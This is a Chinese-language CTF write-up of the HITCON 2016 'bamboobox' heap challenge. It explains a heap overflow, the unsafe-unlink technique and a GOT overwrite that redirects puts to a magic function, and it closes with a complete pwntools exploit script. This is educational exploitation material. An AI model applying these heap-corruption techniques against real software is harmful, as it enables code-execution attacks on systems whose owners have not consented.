題目練習
HITCON2016 bamboobox
反編譯情況:
程序分析
把程序的功能閱讀完成之後,發現這個程序用到一個結構體的數組用於管理結構體。
所以整理結構體如下:
struts Node{
int size;
char string[size];
}
從下圖change_item() 中的代碼可以看到,這裏先輸入一個長度,然後轉化成int類型之後作爲read讀入的長度。
若輸入的長度大於malloc出來的長度,則可以造成堆溢出。
這裏保存chunk的指針也保存在bss段(從qword_6020C8可以看出來,或者進行動態調試也行)。
EXP編寫思路
這裏的核心思想是將寫數據從heap變成bss,也就是說藉助堆溢出僞造fake_chunk->改寫人工malloc的第二個chunk
頭部的inused標誌
->free( 人工malloc的第二個chunk )
來觸發unlink操作->改寫保存chunk的指針內容爲ptr-3*8
(改寫到了某個函數的got表)->調用該函數 -> 任意地址讀寫。
首先申請3個0x80
大小的chunk,填入任意字符串,之後觀察heap的內容:
接下來改寫Chunk0裏面的內容,僞造出一個fake_chunk,順便溢出改寫Chunk1的頭部。
此時ptr指針的內容如下:
緊接着Free掉Chunk1,觸發unlink,向前(Chunk0)合併,然後這個時候的ptr變成如下內容
緊接着往0x6020b0裏面填入數據,把0x6020b0~0x6020d0改成如下內容:
最後一個操作就是UAF的操作,修改Chunk1,實際上就變成了修改0x602020(puts函數的GOT)裏面的數據。此時如果改成magic函數的地址,再調用puts函數,實際上就是調用了magic函數。
#### 完整EXP:
這裏參考網絡上公開的EXP,感謝這位大神~
from pwn import *
context.log_level = 'debug'
context.arch = 'amd64'
context.terminal = ['terminator','-x','bash','-c']
cn = process('./bamboobox')
bin = ELF('./bamboobox')
itemlist = 0x00000000006020C0
p_chunk0 = itemlist+8
def add_item(length,name):
cn.sendline('2')
cn.recvuntil('the length of item name:')
cn.sendline(str(length))
cn.recvuntil('the name of item:')
cn.sendline(name)
def change_item(index,length,name):
cn.sendline('3')
cn.recvuntil('the index of item:')
cn.sendline(str(index))
cn.recvuntil('the length of item name:')
cn.sendline(str(length))
cn.recvuntil('new name of the item:')
cn.sendline(name)
def remove_item(index):
cn.sendline('4')
cn.recvuntil('the index of item:')
cn.sendline(str(index))
def show_item():
cn.sendline('1')
data = cn.recvuntil('----------------------------')
return data
add_item(256,'aaaaaaaa')#chunk0
add_item(256,'bbbbbbbb')#chunk1
add_item(256,'cccccccc')#chunk2
pay = p64(0)+p64(256+1)+p64(p_chunk0-0x18)+p64(p_chunk0-0x10)
pay += 'A'*(256-4*8)
pay += p64(256)+p64(256+0x10) + 'test'
change_item(0,len(pay),pay)
remove_item(1)
pay2 = '\x00'*0x18 + p64(p_chunk0-0x18) + p64(0) + p64(bin.got['puts'])
change_item(0,len(pay2),pay2)
change_item(1,16,p64(bin.symbols['magic']))
flag = cn.recv()
log.success("the flag is : "+flag)